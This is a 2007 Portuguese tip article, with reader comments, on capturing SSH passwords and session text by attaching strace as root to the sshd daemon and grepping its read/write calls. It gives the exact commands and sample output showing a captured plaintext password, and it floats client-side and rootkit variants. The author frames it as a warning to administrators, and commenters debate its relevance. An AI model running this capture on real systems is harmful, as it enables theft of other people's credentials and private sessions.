Mão na Massa LDAP - 1 Profissional por Máquina
Configure um serviço de Diretórios baseado no servidor OpenLDAP!
Dia 6 de Dezembro - São Paulo
Saiba mais
English for Reading and Listening
Receba por email, diariamente, mensagens contendo materiais para
leitura e audição, incluindo arquivos no formato MP3 gravados por
falantes nativos.
Saiba mais
e faça
sua inscrição
Assine a Lista Dicas-L
Receba diariamente por email as dicas
de informática publicadas neste site
Para se descadastrar, clique aqui.
Sniffando o SSH com o Strace
Colaboração: Leandro Godoy
Data de Publicação: 11 de Maio de 2007
É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas
System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e
o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em
Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace.
1. Sniffando a Senha do Login:
- No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd:
Zion:~# ps aux | grep sshd | grep -v grep
root 6097 0.0 0.1 4792 1076 ? Ss 16:49 0:00 /usr/sbin/sshd
- De posse deste pid dispare o Strace (como root):
Zion:~# strace -f -p 6097 -o snif_ssh.txt &
Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo
de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar
outras opções de filtragem e paãmetros.
- De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh
com um usuário qualquer:
godoy@Zion:~$ ssh localhost
Password: textoplano
Last login: Mon May 7 17:01:15 2007 from localhost.localdomain
godoy@Zion:~$
- Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure
pelas chamadas read ou write:
Zion:~# cat snif_ssh.txt | grep read | more
6521 write(4, \0\0\0\1\0\0\0\ntextoplano , 18 <unfinished >
6520 < read resumed> 7\0\0\0\1\0\0\0\ntextoplano , 19) = 19
6520 write(7, \0\0\0\ntextoplano , 14 <unfinished >
6522 < read resumed> \6\0\0\0\ntextoplano , 15) = 15
2. Sniffando as demais transferências de dados:
- Digite o seguinte comando, restringindo a busca as chamadas read e write:
Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 &
- Teste alguns comandos no cliente:
godoy@Zion:~$ cat > teste.txt
======== OK =======
Sniffou??
======= OK =======
godoy@Zion:~$
- Verifique o log o servidor pesquisando por write ou read:
Zion:~# cat snif_ssh.txt | grep ===
6586 < read resumed> ======== OK =======\n , 4096) = 20
6586 write(1, ======== OK =======\n , 20) = 20
6586 < read resumed> ======= OK =======\n , 4096) = 19
6586 write(1, ======= OK =======\n , 19) = 19
Zion:~# cat snif_ssh.txt | grep Sniff
6586 < read resumed> Sniffou??\n , 4096) = 10
6586 write(1, Sniffou??\n , 10) = 10
Zion:~#
Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo
bem grande, cabe aqui um script para filtrar melhor o log que será gravado
no arquivo sniff_ssh.txt.
Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!!
E que também pode-se criar um rootkit que se aproveite desta comunicação de
SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes.
Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes.
Leandro Godoy
Consultor de TI
LPI Certified Level 2
Mandriva Instructor Certified
ITIL Foundation Certified
http://www.blogmind.com.br/
Veja a relação completa dos artigos de Leandro Godoy
Referências Adicionais
Referências adicionais sobre os assuntos abordados neste site podem ser encontradas em nossa Bibliografia.
Avalie esta dica
- Currently 3.03/5
- 1
- 2
- 3
- 4
- 5
Avaliação:
3.0 /5
(600 votos)
Opinião dos Leitores
XOOM
09 Jun 2007, 11:14
Belo post.
Leandro Godoy
28 Mai 2007, 13:59
Não alimente os Trolls ...
André
11 Mai 2007, 11:41
Ótima dica. IMHO, atendeu o propósito para o qual foi escrita. É apenas uma dica, serve como alerta, bons administradores vão realizar uma pesquisa mais profunda do assunto. "Ridículo" é criticar e não complementar com nada de útil. ;)
Abraços.
Airon Fonteles
11 Mai 2007, 09:35
Vou adicionar aqui meus cents :) OK, root pode tudo e se alguém consegue acesso root a seu servidor (e vc descobre!), esqueça. Mas geralmente quem administra uma máquina, acessa outras mais (as vezes inclusive como administrador). Pelo que entendi, uma máquina comprometida pode levar ao comprometimento de várias outras pela descoberta das respectivas senhas de acesso. Vejam bem, uma coisa é a máquina estar comprometida e todos os seus recursos também. Outra coisa é este problema comprometer outros servidores. O que voces acham?
Joacelio
10 Mai 2007, 18:29
O comando strace é muito útil para depuração e identificação de problemas e acho que deve estar sempre instalado, e como Fábio Leite disse, uma vez que o root da máquina esteja comprometido tudo é possível. Uma vulnerabilidade maior é passar senhas em um comando, já que ela pode ser capturada com um simples "ps -efw" por qualquer usuário do sistema.
Fábio Olivé Leite
10 Mai 2007, 13:39
Me desculpem o balde de água fria, mas isto é ridículo. Se alguém tem root no _teu_ servidor, então o servidor não é mais _teu_. Se não se pode confiar no root de um servidor, não se pode confiar nele como um todo. Remover o comando strace é ridículo, pois seria necessário também remover a chamada de sistema ptrace, recompilando o kernel.
Qual será a próxima grande notícia? Que o root pode remover qualquer arquivo e o comando rm deve ser removido do sistema?
Abraços,
Fábio
Leandro Godoy
09 Mai 2007, 22:31
Ronaldo,
Minha fonte foi este mesmo paper e eu o referenciei como fonte no meu blog, no post original. Pode conferir!!
Everton,
Neste paper ensina comop fazer o mesmo processo do lado do cliente. Vale a leitura.
Antonio,
Tem que estar logado no servidor e como root.
A remoção do Strace é uma boa pedida em servidores de produção.
Abraços
www.blogmind.com.br
www.opencode.com.br
Éverton A. Ribeiro
09 Mai 2007, 12:43
Opa,
Testei aqui e funcionou perfeitamente, mas tem um porem, só funcionou para o usuário root, outros usuários não conseguem fazer este sniffer né?
Para que isto tivesse uma real utilização meu servidor (máquina com sshd) precisaria esta comprometido né? Do contrário isso não funcionaria...
Outra pergunta o possível fazer o mesmo na máquina cliente, ou seja capturar as informações do aplicativo ssh?
Ronaldo
09 Mai 2007, 09:22
Escrevi um post sobre isto no meu blog no dia 4 de Maio:
Segurança Wi-Fi: Quando nem SSH salva
http://brainsniffer.blogspot.com/2007/05/segurana-wi-fi-quando-nem-ssh-salva.html
A minha referencia foi John Bambenek, que escreveu um artigo interessante sobre isto em 2004:
Defeating Encryption
http://www.infosecwriters.com/texts.php?op=display&id=242
-Ronaldo
Antonio
09 Mai 2007, 07:16
Pelo que entendi, vc tem que estar logadono servidor.
Desabilitar estes comandos pode ser uma saída para proteger o servidor.
Você tem alguma sugestão para aumentar a segurança?
Mão na Massa LDAP - 1 Profissional por Máquina
Configure um serviço de Diretórios baseado no servidor OpenLDAP!
Dia 6 de Dezembro - São Paulo
Saiba mais
Biblioteca
Redes - Guia Prático
Por Carlos. E. Morimoto
Hardware - o Guia Definitivo
Por Carlos. E. Morimoto
Kurumin 7 - Guia Prático
Por Carlos. E. Morimoto
Linux: Ferramentas Técnicas, 2ed
Por Carlos. E. Morimoto
VPN: Virtual Private Network
Por Lino Sarlo da Silva
MySQL - Guia do Programador
Por André Milani
Sistemas de Banco de Dados
Por Ramez E. Elmasri e Shamkant Navathe
Hardware PC: Guia de Aprendizagem Rápida
Por Carlos E. Morimoto
Extreme Programming
Por Vinicius Manhaes Teles
Google Hacking
Por JOHNNY LONG
Elite da Tropa
Por Luis Eduardo Soares, Andre Batista e Rodrigo Pimentel
Harry Potter e as Relíquias da Morte
Por J.K. Rowling
Manual Completo do Linux: Guia do Administrador
Por Evi Nemeth, Trent R. Hein, Garth Snyder
PHP para Quem Conhece PHP
Por Juliano Niederauer
O Conhecimento em Rede
Por Carlos Nepomuceno e Marcos Cavalcanti
Enterprise Javabeans 3.0
Por Bill Burke, Richard Monson
Redes de Computadores
Por Andrew S. Tanembaum
Marley e Eu: a Vida e o Amor ao Lado do Pior Cão do Mundo
Por John Grogan
Deus, um delírio
Por Richard Dawkins
Java: Como Programar
Por Harvey M. Deitel e Paul J. Deitel
Descobrindo o Linux: Entenda o Sistema Operacional GNU/Linux
Por Joao Eriberto Mota Filho
Use a Cabeça!: JSP & Servlets
Por Brian Bashan, Kathy Sierra, Bert Bates
1808
Por Laurentino Gomes
UML: Guia do Usuário
Por Grady Booch, James Rumbaugh e Ivar Jacobson